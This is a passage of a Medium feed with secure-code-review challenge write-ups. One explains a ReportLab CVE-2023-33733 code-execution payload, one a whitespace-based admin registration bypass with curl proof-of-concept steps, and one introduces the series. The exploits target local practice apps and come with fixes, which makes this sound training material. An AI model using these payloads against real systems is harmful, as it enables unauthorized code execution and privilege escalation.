✔ Scanned for vulnerabilities     [16 vulnerability matches]<br>   ├── by severity: 0 critical, 4 high, 10 medium, 2 low, 0 negligible<br>   └── by status:   16 fixed, 0 not-fixed, 0 ignored<br>[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal) from=syft<br>NAME           INSTALLED  FIXED IN  TYPE    VULNERABILITY        SEVERITY  EPSS         RISK<br>werkzeug       2.3.7      3.0.3     python  GHSA-2g68-c3qc-8985  High      3.4% (87th)  2.5<br>reportlab      3.6.9      3.6.13    python  GHSA-9q9m-c65c-37pq  High      2.1% (80th)  1.6<br>werkzeug       2.3.7      3.0.6     python  GHSA-q34m-jh98-gwm2  Medium    1.1% (62nd)  0.7<br>werkzeug       2.3.7      2.3.8     python  GHSA-hrfv-mqp8-q5rw  Medium    1.1% (61st)  0.6<br>werkzeug       2.3.7      3.0.6     python  GHSA-f9vj-2wh5-fj8j  Medium    0.8% (52nd)  0.4<br>pymongo        4.5.0      4.6.3     python  GHSA-m87m-mmvp-v9qm  Medium    0.7% (48th)  0.3<br>werkzeug       2.3.7      3.1.6     python  GHSA-29vq-49wr-vm6x  Medium    0.6% (43rd)  0.3<br>pyjwt          2.8.0      2.13.0    python  GHSA-xgmm-8j9v-c9wx  High      0.4% (32nd)  0.3<br>werkzeug       2.3.7      3.1.4     python  GHSA-hgf8-39gv-g3f2  Medium    0.5% (41st)  0.3<br>werkzeug       2.3.7      3.1.5     python  GHSA-87hc-h4r5-73f7  Medium    0.4% (34th)  0.2<br>pyjwt          2.8.0      2.12.0    python  GHSA-752w-5fwx-jx9f  High      0.3% (18th)  0.2<br>pyjwt          2.8.0      2.13.0    python  GHSA-w7vc-732c-9m39  Medium    0.4% (29th)  0.2<br>python-dotenv  1.0.0      1.2.2     python  GHSA-mf9w-mj56-hr94  Medium    0.3% (17th)  0.1<br>pyjwt          2.8.0      2.13.0    python  GHSA-fhv5-28vv-h8m8  Low       0.3% (26th)  0.1<br>pyjwt          2.8.0      2.13.0    python  GHSA-993g-76c3-p5m4  Medium    0.2% (12th)  0.1<br>flask          2.3.3      3.1.3     python  GHSA-68rp-wp8r-4726  Low       0.3% (26th)  &lt; 0.1</pre><p>So an attacker just stores the exploit payload as their own bio and requests their own résumé. Let’s use the payload in the PoC documented <a href="https://security.snyk.io/vuln/SNYK-PYTHON-REPORTLAB-5664897">here</a> to prove this is exploitable.</p><p><strong>Proof of concept:</strong></p><pre># 1. Save the CVE-2023-33733 payload. It runs: touch /tmp/exploited<br>cat &gt; payload &lt;&lt;&#39;EOF&#39;<br>&lt;para&gt;<br>  &lt;font color=&quot;[ [ getattr(pow,Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;touch /tmp/exploited&#39;) for Word in [orgTypeFun(&#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: False, &#39;__eq__&#39;: lambda self,x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: {setattr(self, &#39;mutated&#39;, self.mutated - 1)}, &#39;__hash__&#39;: lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and &#39;red&#39;&quot;&gt;<br>    exploit<br>  &lt;/font&gt;<br>&lt;/para&gt;<br>EOF<br><br># 2. Register a normal user<br>curl -s -X POST http://localhost:5000/register \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;username&quot;:&quot;attacker&quot;,&quot;password&quot;:&quot;password123&quot;}&#39;<br><br># 3. Log in and grab the JWT<br>JWT_TOKEN=$(curl -s -X POST http://localhost:5000/login \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;username&quot;:&quot;attacker&quot;,&quot;password&quot;:&quot;password123&quot;}&#39; | jq -r &#39;.token&#39;)<br><br># 4. Create a profile whose bio *is* the payload<br>curl -s -X POST http://localhost:5000/profiles \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -H &quot;Authorization: Bearer $JWT_TOKEN&quot; \<br>  -d &quot;{\&quot;bio\&quot;: $(jq -Rs . &lt; payload)}&quot;<br><br># 5. Generate the résumé PDF - this parses the bio markup and runs the command<br>curl -s -X POST http://localhost:5000/profiles/my/resume \<br>  -H &quot;Authorization: Bearer $JWT_TOKEN&quot; \<br>  --output resume.pdf</pre><p>Confirm it landed inside the container:</p><pre>docker exec -it $(docker ps -q --filter &quot;name=app&quot;) ls -la /tmp/exploited<br># → file exists ⇒ arbitrary command executed on the server</pre><p>No auth bypass, no injection into a query, no clever chain across multiple app bugs. One legitimate feature (PDF export), fed attacker-controlled text, handed to a vulnerable library that treats that text as executable markup. That’s the entire attack. Code execution here runs as appuser — non-root limits the damage but doesn&#39;t prevent it, and it&#39;s more than enough to read the app&#39;s secrets and reach that unauthenticated Mongo instance over the Docker network.</p><h3>7. 🛠️ The Fix</h3><p>The primary fix is the obvious one: patch the dependency.</p><pre># requirements.txt<br>reportlab==4.0.7   # was 3.6.9 (CVE-2023-33733); 3.6.13 is the minimum patched version</pre><p>But patching alone isn’t the whole story, and the solution write-up is deliberately clear about not relying on a single control here. A few things worth layering on top:</p><ul><li><strong>Escape user input before it becomes markup</strong>, even on a patched version — Paragraph() still treats its input as markup, patched sandbox or not:</li></ul><pre>from xml.sax.saxutils import escape<br>story.append(Paragraph(escape(profile[&#39;bio&#39;])))<br># escape() every work-experience field and the username too</pre><ul><li><strong>Input validation / allowlisting</strong> at the API boundary, restricting characters and length on profile fields so a payload like this can’t be stored in the first place.</li><li><strong>Automated dependency scanning in CI</strong> — this is fundamentally an “outdated component” bug, so tools like pip-audit, Grype, Snyk, or Dependabot would have caught it before it ever shipped.</li><li><strong>Harden the runtime further</strong> — render PDFs in a locked-down worker with no outbound network and a minimal filesystem, enable MongoDB authentication instead of leaving it open on the Docker network, and turn off Flask’s debug=True outside local development (its interactive debugger is its own RCE vector).</li></ul><h3>8. Why This Matters Beyond ReportLab</h3><p>The specific CVE here is ReportLab’s, but the lesson isn’t really about ReportLab. It’s this: <strong>a secure code review that only reviews first-party code is an incomplete review.</strong> Every check we ran in Part I — auth, authorization, CSRF, injection, XSS — came back clean, and honestly, they were clean. The application’s own logic was well-written. None of that mattered, because the vulnerability wasn’t in logic the team wrote; it was in a library they pulled in to handle a completely mundane feature, sitting three minor versions behind a fix.</p><p>This is exactly what OWASP’s <a href="https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/">A06:2021 — Vulnerable &amp; Outdated Components</a> is about, and it’s worth taking seriously precisely because it doesn’t feel like a “coding” bug. Nobody on the team wrote eval(). Nobody skipped an authorization check. The team just didn&#39;t have visibility into what their dependency tree actually contained, and didn&#39;t have a control (escaping) that would have neutralized the risk even if the dependency stayed outdated for a while.</p><p>The practical takeaway for how you review code: your dependency list is part of your application’s attack surface, not separate from it. A review that stops at “the code my team wrote looks solid” — without running an SCA tool, without checking what markup/template/serialization libraries are doing with untrusted input — is going to miss exactly this class of bug. Equifax in 2017 is still the canonical example of what this looks like at scale (an unpatched Apache Struts RCE, ~147 million records), but you don’t need a breach that size to internalize the lesson: check what your dependencies are actually parsing, and check whether they’re current, every time — not just the code sitting in your own repo.</p><h3>Wrapping Up</h3><p>If you worked through Professional yourself, I’d like to know how far you got before you landed on the dependency — did you go looking at requirements.txt early, or did you (like the &quot;natural&quot; review order in this write-up) only get there after everything else checked out clean? Drop your thoughts in the comments.</p><p>Challenge #3 is live now if you’re ready for the next one, and I’ll be back in a couple of weeks with its solution and a new challenge alongside it.</p><p><strong>Links:</strong></p><ul><li>🎥 Video walkthrough: <a href="https://youtu.be/2j3dM9OiOT0">https://youtu.be/2j3dM9OiOT0</a></li><li>📄 Full solution write-up: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/002-professional/SOLUTION.md">SOLUTION.md</a></li><li>📂 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">the-secure-code-review-challenge</a></li><li>🧩 Try Challenge #2: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/002-professional">challenges/002-professional</a></li><li>🧩 Try Challenge #3: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/003-dice">challenges/003-dice</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a88956c99731" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/secure-code-review-challenge-2-professional-solution-clean-code-can-still-be-vulnerable-a88956c99731">Secure Code Review Challenge #2: Professional — Solution (Clean Code Can Still Be Vulnerable)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Code Review Challenge #1: Schooled — Solution (One Whitespace Character Away From Admin)]]></title>
            <link>https://medium.com/appsec-untangled/secure-code-review-challenge-1-schooled-solution-one-whitespace-character-away-from-admin-bc7992d8ecbe?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/bc7992d8ecbe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Thu, 23 Jul 2026 22:57:00 GMT</pubDate>
            <atom:updated>2026-07-23T22:56:58.976Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>📢 The solution to </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/001-schooled"><strong><em>Challenge #1: Schooled</em></strong></a><em> is live. Watch the video walkthrough </em><a href="https://youtu.be/Oc-IlLdRusE"><em>here</em></a><em>, or read the full write-up on </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/001-schooled/SOLUTION.md"><em>GitHub</em></a><em>.</em></blockquote><p>The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.</p><p>If you haven’t attempted the challenge yet, this is your cue to stop reading, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/001-schooled">clone the repo</a>, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.</p><p>Two quick announcements before we get into it:</p><ul><li><strong>Challenge #2</strong> is already live in the repo under challenges/. The solution to it will follow in a couple of weeks, alongside a third challenge.</li><li>The repo now uses <strong>GitHub Releases</strong> for every new challenge and solution drop. If you go to <strong>Watch → Custom → Releases</strong> on the repo, you’ll get notified automatically instead of having to check back manually.</li></ul><p>With that out of the way, let’s walk through Schooled the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.</p><h3>A Quick Reminder of What We’re Reviewing</h3><p>Schooled is a small course-management platform. Teachers create and manage courses, students browse and enroll in them, and admins manage the platform and its users. Nothing exotic — which is exactly the point. Most real applications you’ll review in your career look like this: a handful of roles, a handful of routes, and a database behind it. The vulnerability we’re after isn’t hiding behind obscure architecture; it’s hiding in a very ordinary-looking piece of logic.</p><h3>Part I — Building the Mental Model</h3><h3>1. Application Scope &amp; Architecture</h3><p>Before touching any code, it’s worth just running the app and using it like a normal user would — this is exactly what the challenge README walks you through with a single docker compose up --build. Register as a teacher, create a course, log out, register as a student, enroll in that course. Five minutes of clicking around tells you more about the intended behavior than staring at the code cold.</p><p>Once you’re through that, it’s time to actually read the stack:</p><ul><li><strong>Node.js + Express</strong> for the backend routes</li><li><strong>EJS</strong> as the server-rendered templating engine for the UI</li><li><strong>PostgreSQL</strong>, accessed through the pg library</li><li><strong>JWT</strong> for authentication, stored in an httpOnly, SameSite=Strict cookie for the browser UI, or passed as a Bearer token for API clients</li></ul><p>The docker-compose.yml is a great entry point into the architecture itself — it tells you there are exactly two containers (the app and Postgres), and that the app&#39;s Dockerfile builds from a Node base image and boots via an npm start script, which in turn runs node server.js. From server.js, you can see three route groups get attached — /api/auth, /api/courses, and /api/admin — plus a single EJS-rendered page and a public/app.js file that runs client-side.</p><p>That’s enough to have a working mental model: Express handles routing, EJS renders the one HTML page, app.js handles DOM updates in the browser, and everything durable goes through a single database class using parameterized pg queries.</p><h3>2. Entry Points</h3><p>With the architecture in hand, enumerating entry points is mostly a matter of reading the route files:</p><ul><li><strong>POST /api/auth/register</strong> — No auth required. Body: username, email, password, role</li><li><strong>POST /api/auth/login</strong> — No auth required. Body: username, password</li><li><strong>GET /</strong> — No auth required (cookie optional). Renders the EJS UI</li><li><strong>GET /api/courses</strong> — Any authenticated user. Lists courses</li><li><strong>GET /api/courses/:id</strong> — Any authenticated user. :id from URL</li><li><strong>GET /api/courses/user/enrollments</strong> — Any authenticated user. Returns own enrollments</li><li><strong>POST /api/courses</strong> — teacher or admin. Creates a course</li><li><strong>POST / </strong><strong>DELETE /api/courses/:id/enroll</strong> — student or admin. Enroll / unenroll</li><li><strong>GET /api/admin/users</strong> — admin only. Lists all users</li><li><strong>GET /api/admin/users/:id</strong> — admin only. Gets a single user</li><li><strong>POST /api/admin/users/:id/promote</strong> — admin only. Promotes a user to admin</li></ul><p>Two things are worth flagging immediately: the web UI surfaces all of this to a browser, which means it’s an attack surface for XSS and CSRF even though it hits the same backend routes; and the <em>only</em> documented way to become an admin is either being the seeded admin account or being promoted by an existing one via /api/admin/users/:id/promote. Keep that second point in your back pocket — it matters a lot later.</p><h3>3. Dangerous Sinks</h3><p>Anywhere user input can end up somewhere dangerous:</p><ul><li><strong>SQL queries</strong> — all through the pg Pool in src/store/database.js</li><li><strong>HTML rendering</strong> — the EJS template (views/index.ejs), which outputs user.username and user.role from the JWT</li><li><strong>DOM mutation</strong> — public/app.js, which takes API JSON responses (usernames, emails, roles, course data) and writes them into the page</li></ul><h3>4 &amp; 5. Threat Modeling and Mitigation Review</h3><p>This is where most of the actual review time goes, and it splits cleanly into the two buckets from the methodology: <strong>business-logic vulnerabilities</strong> and <strong>source-to-sink vulnerabilities</strong>.</p><p><strong>Business logic first.</strong> The obvious candidates here are broken authentication, broken authorization, and — because of what we noted in the entry points step — how role assignment actually works.</p><p>Authentication turned out to be solid: an authenticateToken middleware checks either the Authorization header or the cookie, verifies the JWT signature, and re-fetches the user from the database on every request (so a revoked user can&#39;t keep using a still-valid token). It&#39;s attached to every course and admin route.</p><p>Role-based authorization also looked fine on inspection — a requireRole middleware gates the admin routes, and role never comes from anything other than the authenticated user&#39;s DB record.</p><p>IDOR was a natural thing to check next, since we have resource IDs (courses, users) flowing through URLs. But in this app, courses have no private/ownership model — every course is visible to every authenticated user regardless of ID — so there’s no meaningful authorization boundary to bypass there. Worth checking, low value once you understand the intended behavior, so it’s fine to move past it quickly.</p><p>Then there’s the piece flagged back in step 2: <strong>role assignment at registration.</strong> Only an existing admin can promote someone, and the registration endpoint is supposed to block you from just registering as admin outright. On the surface, both of those checks are present in the code. This is the point in the review where it&#39;s tempting to conclude &quot;authorization looks fine&quot; and move on — and that&#39;s exactly the trap the challenge is built around.</p><p><strong>Source-to-sink next.</strong> Each of the sinks from step 3 gets checked against how it’s actually being fed:</p><ul><li><strong>XSS via EJS</strong> — the template uses &lt;%= %&gt;, which HTML-escapes &lt;, &gt;, &quot;, and &amp; automatically. A &lt;script&gt; tag in a username renders as inert text.</li><li><strong>XSS via client JS</strong> — app.js uses textContent and element properties exclusively, never innerHTML. Per the MDN docs, textContent doesn&#39;t parse its input as HTML at all, so there&#39;s no injection path here even with attacker-controlled API data.</li><li><strong>CSRF</strong> — the auth cookie is set with SameSite=Strict. A forged cross-site request simply won&#39;t carry the cookie, so it never reaches an authenticated context. (Bearer-token API clients aren&#39;t affected by CSRF in the first place.)</li><li><strong>SQL injection</strong> — every query in database.js uses parameterized placeholders ($1, $2, …) rather than string concatenation, so there&#39;s no way to break out of the query structure.</li></ul><p>At this point, every source-to-sink vector checks out clean, and the business-logic checks all <em>appear</em> to check out too. This is usually the moment where a review either stops (and misses something) or where you go back and look harder at the piece that felt slightly too convenient.</p><h3>Part II — Finding, Exploiting, and Fixing the Bug</h3><h3>6. The Vulnerability: Two True Statements That Aren’t Both Enforced the Same Way</h3><p>The role-assignment logic rests on two claims:</p><ol><li>You cannot register as admin.</li><li>Only an existing admin can promote another user to admin.</li></ol><p>The second one holds up cleanly — it’s just requireRole(&#39;admin&#39;) on the promote route, verified against the authenticated user&#39;s role from the JWT. Nothing subtle there.</p><p>The first one is where it falls apart, and the reason is a mismatch between <em>where</em> a check happens and <em>where</em> a transformation happens.</p><p>In src/routes/auth.js, the registration handler rejects the request outright if role === &#39;admin&#39; — a straightforward denylist check against the raw input. But by the time that value reaches the database layer, createUser() (and the VALID_ROLES allowlist that runs just before it) both call role.trim() before using the value. So the guard checks one representation of the input, and the storage layer commits a <em>different</em> representation.</p><p>Send &quot;admin &quot; — with a trailing space — and here&#39;s what happens:</p><ul><li>The guard compares &quot;admin &quot; === &quot;admin&quot; → false. No rejection.</li><li>VALID_ROLES.includes(role.trim()) → &quot;admin &quot;.trim() is &quot;admin&quot;, which <em>is</em> in the allowlist. Passes.</li><li>createUser() trims again before the INSERT, storing the literal string &quot;admin&quot;.</li><li>The JWT returned in the registration response is built from that DB row, so it already carries role: &quot;admin&quot;.</li></ul><p>You never touch the promotion endpoint at all. One request, one trailing space, immediate admin.</p><p><strong>Proof of concept:</strong></p><pre># 1. Register with a trailing space in the role<br>TOKEN=$(curl -s -X POST http://localhost:3000/api/auth/register \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;username&quot;:&quot;attacker&quot;,&quot;email&quot;:&quot;attacker@evil.com&quot;,&quot;password&quot;:&quot;pass123&quot;,&quot;role&quot;:&quot;admin &quot;}&#39; \<br>  | jq -r &#39;.token&#39;)<br># The response&#39;s user.role is already &quot;admin&quot; - the token encodes that role.<br># 2. Immediately call an admin-only endpoint<br>curl -s -X GET http://localhost:3000/api/admin/users \<br>  -H &quot;Authorization: Bearer $TOKEN&quot; | jq .<br># → returns the full user list, confirming admin access</pre><p>Doing this through Burp against the actual UI is just as easy: intercept the registration request, change &quot;role&quot;:&quot;admin&quot; to &quot;role&quot;:&quot;admin &quot;, forward it, and log in as that new user. The response comes back without the &quot;cannot register as admin&quot; error, and the account already has admin privileges — no promotion step required.</p><p>A few other payloads work identically, since they all reduce to &quot;admin&quot; once trimmed:</p><ul><li>&quot;admin &quot; (trailing space)</li><li>&quot; admin&quot; (leading space)</li><li>&quot;admin\t&quot; (tab)</li><li>&quot; admin &quot; (both)</li></ul><p>One thing that’s worth calling out explicitly, because it’s easy to assume otherwise: &quot;Admin&quot; (capitalized) does <strong>not</strong> work here. The allowlist check (VALID_ROLES.includes(role.trim())) is case-sensitive, so &quot;Admin&quot;.trim() is still &quot;Admin&quot;, which isn&#39;t in the allowlist — that variant gets rejected, almost by accident, because case-folding wasn&#39;t part of the transformation chain in this particular codebase. It&#39;s a useful reminder that these bugs are about a <em>specific</em> mismatched transformation, not about &quot;any weird string bypasses everything.&quot;</p><h3>7. The Fix</h3><p>The core problem is a check performed on one representation of a value and a write performed on another. The fix is to make sure both operate on the <em>same</em>, already-normalized value — and to flip the registration check from a denylist to an allowlist while we’re at it, since denylists only work as well as the list of things you thought to deny:</p><pre>const { username, email, password, role } = req.body;<br>if (!username || !email || !password || !role) {<br>  return res.status(400).json({ error: &#39;All fields are required&#39; });<br>}<br>const normalizedRole = role.trim().toLowerCase();<br>const allowedRoles = [&#39;student&#39;, &#39;teacher&#39;];<br>if (!allowedRoles.includes(normalizedRole)) {<br>  return res.status(403).json({ error: &#39;Cannot register as admin&#39; });<br>}<br>// Pass the already-normalized value downstream so storage stays consistent<br>const user = await db.createUser(username, email, passwordHash, normalizedRole);</pre><p>Now the exact same value that gets checked is the one that gets stored — there’s no longer a gap for a transformation to open up between the two.</p><p>A few defense-in-depth options worth layering on top, in case the application-layer fix is ever missed or bypassed elsewhere:</p><ul><li><strong>A database </strong><strong>CHECK constraint</strong> on the role column (CHECK (role IN (&#39;student&#39;, &#39;teacher&#39;, &#39;admin&#39;))), which would have stopped this exploit even without touching the application code at all.</li><li><strong>Remove the </strong><strong>trim() call from </strong><strong>createUser.</strong> Normalization belongs at the boundary — the route handler — not silently inside the data-access layer. That&#39;s exactly where this gap was introduced.</li><li><strong>Derive the JWT role from the normalized value</strong>, so it can never diverge from what was actually validated.</li></ul><h3>8. Why This Matters Beyond Whitespace</h3><p>The specific bug here is a trailing space, but the pattern is much bigger than that, and it’s the main thing I want people to take away from this challenge: <strong>whenever a security check runs against one representation of an input, and a later transformation produces a different representation that actually gets used or stored, you have a gap</strong> — regardless of what that transformation is. Whitespace trimming is just the easiest one to demonstrate. The same class of bug shows up with:</p><ul><li><strong>Case folding</strong> — checking role !== &#39;admin&#39;, then lowercasing (or hitting a case-insensitive DB collation) downstream.</li><li><strong>Unicode normalization</strong> — NFC/NFD normalization or full-width/half-width folding turning a fullwidth “ａdmin” into “admin” after the check already passed.</li><li><strong>URL/percent-decoding</strong> — validating a raw parameter, then decoding it <em>again</em> later, letting something like double-encoded input resolve into a disallowed value.</li><li><strong>Path canonicalization</strong> — resolving .. or redundant separators after a path has already been allow/deny-checked (classic path traversal territory).</li><li><strong>Type coercion</strong> — validating a string form of a value, then having a downstream layer coerce it into something a loosely-typed language interprets differently.</li><li><strong>Deduplication</strong> — collapsing repeated characters or delimiters after the check has already run.</li></ul><p>The fix pattern is the same no matter which transformation is involved: <strong>normalize first, validate the normalized form, and pass that same normalized value everywhere downstream.</strong> Never validate one representation of a value and act on another.</p><p>This isn’t a theoretical concern, either. HashiCorp Vault has had multiple real authentication and authorization flaws rooted in exactly this class of discrepancy — different components handling the same input inconsistently. If you want to see this pattern play out in a production-grade secrets manager, <a href="https://cyata.ai/blog/cracking-the-vault-how-we-found-zero-day-flaws-in-authentication-identity-and-authorization-in-hashicorp-vault/">Cyata’s write-up on cracking Vault’s authentication and authorization</a> is a great follow-up read. It’s also cataloged as <a href="https://cwe.mitre.org/data/definitions/179.html">CWE-179: Incorrect Behavior Order: Early Validation</a> if you want the formal classification, alongside the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html">OWASP Authorization Cheat Sheet</a> and <a href="https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html">OWASP Input Validation Cheat Sheet</a> for general guidance on avoiding it.</p><h3>Wrapping Up</h3><p>If you worked through Schooled yourself, I’d genuinely like to know how your threat model compared — did you catch the role-assignment gap on the first pass, or did it take a second look after everything else checked out clean? Drop your thoughts in the comments, or let me know if you think we missed anything in the review.</p><p>Challenge #2 is live now if you’re ready for the next one, and I’ll be back in a couple of weeks with its solution and a new challenge alongside it.</p><p><strong>Links:</strong></p><ul><li>🎥 Video walkthrough: <a href="https://youtu.be/Oc-IlLdRusE">https://youtu.be/Oc-IlLdRusE</a></li><li>📄 Full solution write-up: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/001-schooled/SOLUTION.md">SOLUTION.md</a></li><li>📂 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">the-secure-code-review-challenge</a></li><li>🧩 Try Challenge #1: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/001-schooled">challenges/001-schooled</a></li><li>🧩 Try Challenge #2: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/002-professional">challenges/002-professional</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nj0f2dPNtREeZJQw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc7992d8ecbe" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/secure-code-review-challenge-1-schooled-solution-one-whitespace-character-away-from-admin-bc7992d8ecbe">Secure Code Review Challenge #1: Schooled — Solution (One Whitespace Character Away From Admin)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducing the Secure Code Review Challenge (Practice Real-World Reviews)]]></title>
            <link>https://medium.com/appsec-untangled/introducing-the-secure-code-review-challenge-practice-real-world-reviews-b59f3bdca114?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/b59f3bdca114</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 18:53:09 GMT</pubDate>
            <atom:updated>2026-07-06T18:53:09.223Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>📢 </em><strong><em>I have some exciting news:</em></strong><em> I’m launching a new series called the </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge"><em>Secure Code Review Challenge</em></a><em>. Check out the video version of this story </em><a href="https://youtu.be/AEJqA4_Zc_U"><em>here</em></a></blockquote><p>If you’ve been looking for resources to practice secure code review, you’ve probably found one or two of these online already. The problem, in my opinion, is that most of them use sample code that’s just meant to train you to recognize dangerous patterns — things like SQL injection or IDOR. That’s useful, but it’s not what secure code review actually looks like in practice.</p><p>In reality, secure code review is a much bigger and more complex process. It includes going through an application, understanding how it works and its architecture, identifying the entry points, figuring out which vulnerabilities are actually relevant, checking where (and whether) they’re mitigated in the code — and then, for anything you suspect is a real vulnerability, confirming it’s exploitable and suggesting a fix that doesn’t break functionality.</p><p>There just aren’t good resources out there to practice that full process. So I built one.</p><h3>Who This Is For</h3><p>This series is aimed at AppSec engineers and developers who want to get better at reviewing code for security issues, as well as pentesters, bug bounty hunters, and security researchers who want more practice reading and reasoning about real application code.</p><h3>What This Series Is</h3><p>The Secure Code Review Challenge is a set of challenges you can work through to practice the entire secure code review process, not just pattern recognition. A few things make these different from what’s already out there:</p><p><strong>Full applications, not snippets.</strong> Every challenge is a realistic application with its own database, backend, and UI — you review it the way you’d review a real codebase, not an isolated function.</p><p><strong>Vulnerabilities based on real-world issues.</strong> The bugs planted in each challenge are grounded in actual CVEs and vulnerability writeups, not invented for the exercise.</p><p><strong>No multiple choice.</strong> There’s no list of options to guess from — you identify the vulnerability yourself, the same way you would in a real review. That’s what makes this a complete review exercise rather than a recognition quiz.</p><p><strong>The full methodology, not just spotting the bug.</strong> Each challenge is meant to be worked through using the suggested methodology in the repo — more on that below.</p><h3>The Methodology Behind the Challenges</h3><p>Each challenge is meant to be worked through using the suggested methodology in the repo, which builds on the same two-category mental model I laid out in my <a href="https://medium.com/appsec-untangled/how-to-use-ai-for-security-code-reviews-609440e6a16e">threat-model-first methodology story</a>: most security issues are either <strong>business-logic vulnerabilities</strong> (missing controls like authentication, authorization, or CSRF protection — things a scanner won’t catch, because whether they’re missing depends on the app’s specific logic) or <strong>source-to-sink vulnerabilities</strong> (user-controlled input reaching a dangerous function without enough validation — the pattern behind SQL injection, XSS, SSRF, and similar bugs).</p><p>The suggested steps for working through each challenge:</p><ul><li><strong>Understand the application’s scope and architecture.</strong></li><li><strong>Identify the entry points</strong> — web pages and backend endpoints/routes.</li><li><strong>Identify the dangerous sinks</strong> in the code and its dependencies (SQL queries, OS commands, HTML rendering, and so on).</li><li><strong>Threat-model using the two categories</strong> — business-logic and source-to-sink.</li><li><strong>For each threat, determine whether it’s mitigated in the code — and how or where.</strong></li><li><strong>Identify potential vulnerabilities and try to exploit them.</strong></li><li><strong>For each exploitable vulnerability, suggest a fix.</strong></li></ul><p>That’s exactly the process each challenge is designed to put into practice — not by handing you a snippet and asking “what’s wrong with this,” but by giving you a real application and asking you to go through the whole process yourself, the way you would on the job.</p><h3>How It Works</h3><p>The first challenge, <strong>001-schooled</strong>, is already live on the <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">GitHub repo</a>, and this is going to be a biweekly series: every two weeks, I’ll publish the solution to the current challenge along with a brand new one.</p><p>Each challenge comes with its own README covering how the application works, some details on the architecture, and how to run it locally — you’ll be able to spin it up, interact with it as a user (register an account, log in, get a JWT token, and so on), and start working through it. Everything runs locally with throwaway secrets — these apps aren’t meant to be deployed anywhere public.</p><p>The repo includes a SOLUTION_TEMPLATE.md you can copy into your own private notes and fill out for each challenge — covering architecture, relevant threats, mitigations, exploitability, and fixes. You&#39;re welcome to use your own approach instead, but it&#39;s there if you want a starting point.</p><p>One important note: don’t post your findings, exploit, or fix in the repo’s Issues or Discussions until the official solution is published — keep your notes private until then so you don’t spoil it for other people still working through it. A public wiki of vulnerability write-ups (to reference while you work through challenges) is coming soon.</p><h3>Try It</h3><p>Head over to the <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">repo</a>, clone challenge 001, and give it a try. If you’re looking for a way to actually practice secure code review — not just recognize a handful of vulnerability patterns — I think this is built for you.</p><p>I’ll be sharing my own solution to the first challenge in a couple of weeks, both here and on the channel, along with the next challenge. Let me know if you give it a try, and feel free to leave any feedback in the comments. Stay tuned!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b59f3bdca114" width="1" height="1" alt=""><hr><p><a 